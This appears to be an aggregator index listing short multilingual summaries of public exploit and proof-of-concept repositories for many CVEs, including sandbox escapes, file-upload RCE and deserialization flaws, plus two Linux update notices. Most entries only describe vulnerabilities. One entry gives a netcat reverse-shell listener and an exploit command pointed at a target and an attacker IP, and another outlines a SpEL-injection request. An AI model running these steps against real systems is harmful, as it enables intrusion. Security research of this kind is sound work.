CVE-2024-28397-Js2Py-RCE-Exploit

💡 深掘り: 詳細なテクニカルブリーフィング PDF を読むにはここをクリックしてください。 CVE-2024-28397: Js2Py サンドボックスエスケープペイロードジェネレーター CVE-2024-28397 用のプロフェッショナルなペイロードジェネレーターです。このツールは、js2py サンドボックス バージョン 0.74 以下 をエスケープし、ターゲットシステム上で任意のコマンドを実行するように設計された悪意のある JavaScript コードを生成します。 🚨 脆弱性の詳細 CVE ID: CVE-2024-28397 影響を受けるコンポーネント: Js2Py = 0.74...

mvn_pwn

MVN PWN 「groovy-maven-plugin」を使用して RCE を実現する悪意のある Maven pom.xml 依存関係を含む完全なペイロードは、以下のブログで確認できます： https://security.humanativaspa.it/abusing-mavens-pom-xml/...

gegl security update

An update is available for gegl. This update affects Rocky Linux 8. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list GEGL Generic Graphics Library is a graph-based image processing framework...

gegl04 security update

An update is available for gegl04. This update affects Rocky Linux 8. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list GEGL Generic Graphics Library is a graph-based image processing framework...

CVE-2026-38526-PoC-htb-nexus

CVE-2026-38526-PoC-htb-nexus CVE-2026-38526에 대한 PoC 스크립트입니다. webkul krayin 2.2.x의 /admin/tinymce/upload 엔드포인트에 있는 파일 업로드 취약점을 통한 RCE입니다 htb-nexus용으로 제작됨 🛠 빠른 시작 및 사용법 1. 저장소 클론: root@kitploit: git clone https://github.com/Resolvdd/CVE-2026-38526-PoC-htb-nexus.git cd CVE-2026-38526-PoC-htb-nexus 2...

CVE-2024-5932

この投稿は EQSTLab が公開した研究記事です。 ❗❗ 重要 ❗❗ 現在、xmrig を実行する偽の PoC GitHub リポジトリが存在します。詳細については以下のリンクをご確認ください : URL1: https://x.com/win3zz/status/1828704644987511107 URL2: https://x.com/bornunique911/status/1828712791844524453 URL3: https://x.com/Chocapikk/status/1828801346637856841 CVE-2024-5932 ★...

CVE-2026-42945

CVE-2026-42945: NGINX Rift 힙 버퍼 오버플로 취약점 개요 CVE-2026-42945는 "NGINX Rift"로 알려진 NGINX 서버의 심각한 힙 버퍼 오버플로 취약점입니다. 이 취약점은 NGINX의 rewrite 및 set 지시문 처리 로직에 존재하며, 특정 구성 조건이 충족되면 공격자는 악의적인 요청을 구성하여 힙 오버플로를 유발하고 서비스 거부DoS 또는 잠재적인 원격 코드 실행RCE까지 초래할 수 있습니다. 취약점 유형 : 힙 버퍼 오버플로 위험 등급 : 고위험 CVE ID :...

CVE-2025-69985

CVE-2025-69985: FUXA ≤1.2.8 における認証バイパスからRCEへのエクスプロイト 📌 概要 このリポジトリには、FUXA （バージョン ≤1.2.8）に影響する脆弱性 CVE-2025-69985 に関する概念実証（PoC）と詳細な技術文書が含まれています。この脆弱性により、攻撃者は 認証されていない状態で、アプリケーションのミドルウェアにおける認証バイパス を介してサーバー上で任意のコマンドを実行 （RCE）できます。 従来のWindowsのメモリオーバーフローなどの脆弱性とは異なり、この欠陥はミドルウェアの論理的な弱点...

CVE-2026-46275

CVE-2026-46725 — Extensión ceselector de TYPO3 RCE Inyección de Objetos PHP mediante Bypass de Cookieunserialize → Ejecución Remota de Código 📋 Índice Acerca de la Vulnerabilidad Detalles Técnicos Requisitos Instalación Uso Ejemplos Formato de Salida Cómo Funciona...

CVE-2026-34156-NocoBase-Sandbox-Escape-via-Workflow-Execution-Vulnerability-

CVE-2026-34156 – NocoBase サンドボックスエスケープ（RCE） -orange NocoBase バージョン ≤ 2.0.26 における、ワークフローサンドボックスエスケープを介した認証済みリモートコード実行 。 📋 説明 CVE-2026-34156 は、NocoBase ワークフローエンジンにおけるサンドボックスエスケープの脆弱性です。認証済みの攻撃者は、式サンドボックスをバイパスして基盤となるサーバー上で任意のシステムコマンドを実行する悪意のあるワークフローを作成できます。 攻撃ベクトル – NocoBase API への認証済み HTTP リクエスト...

MCPJam-Inspector-1.4.2-Remote-Code-Execution-CVE-2026-23744

칼리 리눅스에서 - 터미널 1 nc -lvnp 4444 칼리 리눅스에서 - 터미널 2 python3 ./CVE-2026-23744.py -t http://TARGET.com -p 4444 -i YOUR-KALI-LINUX-IP...

CVE-2026-39292

CVE-2026-39292 – Falco Solutions PHPPageBuilder v0.31.0에서 임의 파일 업로드로 인한 RCE 요약: pagemanager/pagebuilder 모듈의 파일 업로드 취약점으로 인해 인증되었거나 인증되지 않은 공격자가 임의의 파일을 업로드하여 원격 코드 실행을 유발할 수 있습니다. 영향받는 버전: PHPPageBuilder v0.31.0 영향: 원격 코드 실행 공급업체: Falco Solutions 크레딧: Krishnadev P Melevila가 발견...

POC-CVE-2025-1094

POC CVE-2025-1094: PostgreSQL psql SQL 인젝션 Proof of Concept — PostgreSQL 클라이언트 libpq 및 psql 도구의 심각한 SQL 인젝션 취약점 📋 목차 1. 취약점 소개 2. 프로젝트 디렉토리 구조 3. 공격 Payload 분석 4. 사용법 5. 수정 및 예방 방법 1. 취약점 소개 개요 CVE-2025-1094 는 PostgreSQL 클라이언트 라이브러리 libpq 및 명령줄 도구 psql에서 발견된 심각한 취약점입니다. 이 취약점으로 인해 공격자가 애플리케이션이...

CVE-2026-23001-Hugging-Face-Transformers-Model-Deserialization-Arbitrary-Code-via-Pickle-

CVE-2026-23001 – RCE por deserialización de modelos Hugging Face Transformers Resumen Los modelos de Hugging Face guardados con torch.save utilizan la serialización pickle de Python, que es inherentemente insegura. Si un usuario descarga un modelo aparentemente legítimo de un repositorio, cargarl...

CVE-2025-32432

🔐 CVE-2025-32432 — Craft CMS 사전 인증 원격 코드 실행 Craft CMS에서의 사전 인증 원격 코드 실행 발견 및 개발:Mohammed Idrees Banyamer 📌 개요 CVE-2025-32432 는 여러 버전의 Craft CMS 에 영향을 미치는 치명적인 사전 인증 원격 코드 실행RCE 취약점입니다. 비위생 처리된 세션 데이터 저장과 안전하지 않은 역직렬화 가젯을 연쇄적으로 사용함으로써, 인증되지 않은 공격자가 원격 서버에서 임의의 명령을 실행할 수 있습니다. 🎯 영향을 받는 버전...

CVE-2026-8838-RCE

CVE-2026-8838 — Amazon Redshift Python Driver: eval을 통한 원격 코드 실행 ⚠️ 교육용으로만 사용하세요 오펜시브 사이버보안 연구 및 데모 프로젝트로, 오직 교육 및 인식 제고 목적으로만 수행되었습니다. 명시적 허가 없이 시스템에 사용하는 것은 불법입니다. 이 저장소는 다음에서만 사용해야 합니다: 통제된 실험실, 테스트 환경, CTF 플랫폼, 허가된 학습 환경. 여기에 제시된 취약점 시나리오는 교육적 데모 목적으로만 사용됩니다. 목차 설명 기술 세부사항...

PoC-2023-43208

CVE-2023-43208-EXPLOIT Mirth Connect リモートコード実行（RCE）エクスプロイト ⚠️ 教育およびラボ使用専用 ⚠️ CVE-2023-43208 の概念実証エクスプロイト。バージョン 4.4.1 未満の Mirth Connect におけるリモートコード実行の脆弱性です。 🚨 重要な法的免責事項 このツールの使用は厳格に以下に限定されます: 🧪 教育目的 🔬 ラボ環境における許可されたセキュリティテスト 📚 サイバーセキュリティ研究と学習 使用禁止: ❌ 自分が所有していないシステムに対して ❌ 明示的な書面による許可なし ❌ 本番環境において ❌...

CVE-2017-8046-DEMO

spring data rest CVE-2017-8046 데모 테스트 지금 즉시 spring data rest를 업그레이드하세요. 단계 이 애플리케이션 시작 test 인스턴스 생성 root@kitploit: POST /entityPersons/ HTTP/1.1 Host: localhost:8080 Content-Type: application/json Cache-Control: no-cache "firstName":"f2" SpEL 주입을 이용하여 C:\Windows\system32\calc.exe 실행 root@kitploit...

CVE-2026-14282

CVE-2026-14282 — GoDAM WordPress プラグイン RCE 著者: nullwhisper 用途: 認可されたセキュリティ調査 / 脆弱性検証のみ。 これは何ですか？ GoDAM WordPress プラグインバージョン = 1.12.2 は、godamrecord という WPForms フィールドを登録します。アップロードハンドラ savevideofile は公開の wpformsprocessbeforefilter アクションにフックされるため、認証チェックの前に実行されます。このハンドラは攻撃者が制御する Content-Type...

CVE-2026-54984

CVE-2026-54984 Windows ICCファイル解析における領域外書き込み — リモートコード実行 Zero Day Initiativeを通じて ZDI-CAN-30441 として報告され、ZDI-26-543 として公開され、2026年8月の更新サイクルでMicrosoftによって修正されました。 こんにちは、Kağan Çapar です。この脆弱性をZero Day Initiativeに報告し、同機関は2026年6月2日にMicrosoftへ開示しました。2026年8月11日 — 8月のPatch Tuesday —...